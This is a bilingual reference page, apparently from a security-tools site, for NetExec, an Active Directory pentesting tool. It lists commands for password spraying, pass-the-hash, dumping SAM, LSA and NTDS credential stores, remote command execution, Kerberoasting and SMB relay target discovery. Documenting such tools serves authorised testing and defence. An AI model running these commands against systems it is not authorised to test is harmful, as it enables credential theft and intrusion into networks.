← retour aux outils back to tools

# NetExec

Successeur moderne de CrackMapExec. Couteau suisse pour tester les environnements Windows et Active Directory via SMB, WinRM, LDAP, et plus. Modern successor to CrackMapExec. Swiss army knife for pentesting Windows and Active Directory environments over SMB, WinRM, LDAP, and more.

↗ https://github.com/Pennyw0rth/NetExec

## Overview

NetExec (nxc) is the maintained successor to CrackMapExec. It automates common tasks in Windows/AD environments — credential validation, hash spraying, secret dumping, command execution, and enumeration.

## Common Usage

Credential validation (password spray)

    nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success

Validate with hash (PTH)

    nxc smb 10.10.10.1 -u administrator -H <ntlm_hash>

Dump SAM

    nxc smb 10.10.10.1 -u admin -p 'Pass' --sam

Dump LSA secrets

    nxc smb 10.10.10.1 -u admin -p 'Pass' --lsa

Dump NTDS (domain controller)

    nxc smb dc01 -u admin -p 'Pass' --ntds

Execute command

    nxc smb 10.10.10.1 -u admin -p 'Pass' -x "whoami"

WinRM execution

    nxc winrm 10.10.10.1 -u admin -p 'Pass' -x "whoami"

    # LDAP enumeration
    nxc ldap dc01 -u user -p 'Pass' --users
    nxc ldap dc01 -u user -p 'Pass' --groups
    nxc ldap dc01 -u user -p 'Pass' --kerberoasting kerberoast.txt
    nxc ldap dc01 -u user -p 'Pass' --asreproast asrep.txt

SMB signing check (for relay target list)

    nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

## Protocol Quick Reference

Protocol | Default Port | Use Case
--- | --- | ---
`smb` | 445 | Credential spray, exec, secret dump
`winrm` | 5985 | Remote management, shell
`ldap` | 389/636 | AD enumeration, Kerberoasting
`rdp` | 3389 | Credential validation
`mssql` | 1433 | DB access, xp_cmdshell
`ssh` | 22 | Linux targets

Help / Man page

    nxc <protocol> <target> [options]

    PROTOCOLS: smb, winrm, ldap, rdp, mssql, ssh, ftp, vnc, wmi

    AUTHENTICATION:
      -u USER / -U FILE     Username / list
      -p PASS / -P FILE     Password / list
      -H HASH               NTLM hash (PTH)
      -k                    Kerberos authentication
      --use-kcache          Use ccache file

    EXECUTION:
      -x CMD                Execute command via cmd.exe
      -X CMD                Execute PowerShell command

    SMB:
      --shares              Enumerate shares
      --sessions            List sessions
      --disks               List disks
      --loggedon-users      List logged-on users
      --users               Enumerate domain users
      --groups              Enumerate domain groups
      --pass-pol            Get password policy
      --sam                 Dump SAM hashes
      --lsa                 Dump LSA secrets
      --ntds                Dump NTDS.dit (DC only)
      --gen-relay-list FILE Hosts without SMB signing

    LDAP:
      --users               Enumerate users
      --groups              Enumerate groups
      --kerberoasting FILE  Kerberoast all SPNs
      --asreproast FILE     AS-REP roast

    OUTPUT:
      --export FORMAT FILE  Export results (csv, json)
      -v                    Verbose

## Vue d’ensemble

NetExec (nxc) est le successeur maintenu de CrackMapExec. Il automatise les tâches courantes dans les environnements Windows/AD : validation de credentials, spray de hachages, extraction de secrets, exécution de commandes et énumération.

## Utilisation courante

    # Validation de credentials (password spray)
    nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success

    # Valider avec un hachage (PTH)
    nxc smb 10.10.10.1 -u administrator -H <ntlm_hash>

    # Extraire SAM
    nxc smb 10.10.10.1 -u admin -p 'Pass' --sam

    # Extraire les secrets LSA
    nxc smb 10.10.10.1 -u admin -p 'Pass' --lsa

    # Extraire NTDS (contrôleur de domaine)
    nxc smb dc01 -u admin -p 'Pass' --ntds

    # Exécuter une commande
    nxc smb 10.10.10.1 -u admin -p 'Pass' -x "whoami"

    # Exécution via WinRM
    nxc winrm 10.10.10.1 -u admin -p 'Pass' -x "whoami"

    # Énumération LDAP
    nxc ldap dc01 -u user -p 'Pass' --users
    nxc ldap dc01 -u user -p 'Pass' --groups
    nxc ldap dc01 -u user -p 'Pass' --kerberoasting kerberoast.txt
    nxc ldap dc01 -u user -p 'Pass' --asreproast asrep.txt

    # Vérification de la signature SMB (pour la liste de cibles de relay)
    nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

## Référence rapide des protocoles

Protocole | Port par défaut | Cas d’usage
--- | --- | ---
`smb` | 445 | Spray de credentials, exec, extraction de secrets
`winrm` | 5985 | Administration à distance, shell
`ldap` | 389/636 | Énumération AD, Kerberoasting
`rdp` | 3389 | Validation de credentials
`mssql` | 1433 | Accès DB, xp_cmdshell
`ssh` | 22 | Cibles Linux

Aide / Page de manuel

    nxc <protocol> <target> [options]

    PROTOCOLS: smb, winrm, ldap, rdp, mssql, ssh, ftp, vnc, wmi

    AUTHENTICATION:
      -u USER / -U FILE     Username / list
      -p PASS / -P FILE     Password / list
      -H HASH               NTLM hash (PTH)
      -k                    Kerberos authentication
      --use-kcache          Use ccache file

    EXECUTION:
      -x CMD                Execute command via cmd.exe
      -X CMD                Execute PowerShell command

    SMB:
      --shares              Enumerate shares
      --sessions            List sessions
      --disks               List disks
      --loggedon-users      List logged-on users
      --users               Enumerate domain users
      --groups              Enumerate domain groups
      --pass-pol            Get password policy
      --sam                 Dump SAM hashes
      --lsa                 Dump LSA secrets
      --ntds                Dump NTDS.dit (DC only)
      --gen-relay-list FILE Hosts without SMB signing

    LDAP:
      --users               Enumerate users
      --groups              Enumerate groups
      --kerberoasting FILE  Kerberoast all SPNs
      --asreproast FILE     AS-REP roast

    OUTPUT:
      --export FORMAT FILE  Export results (csv, json)
      -v                    Verbose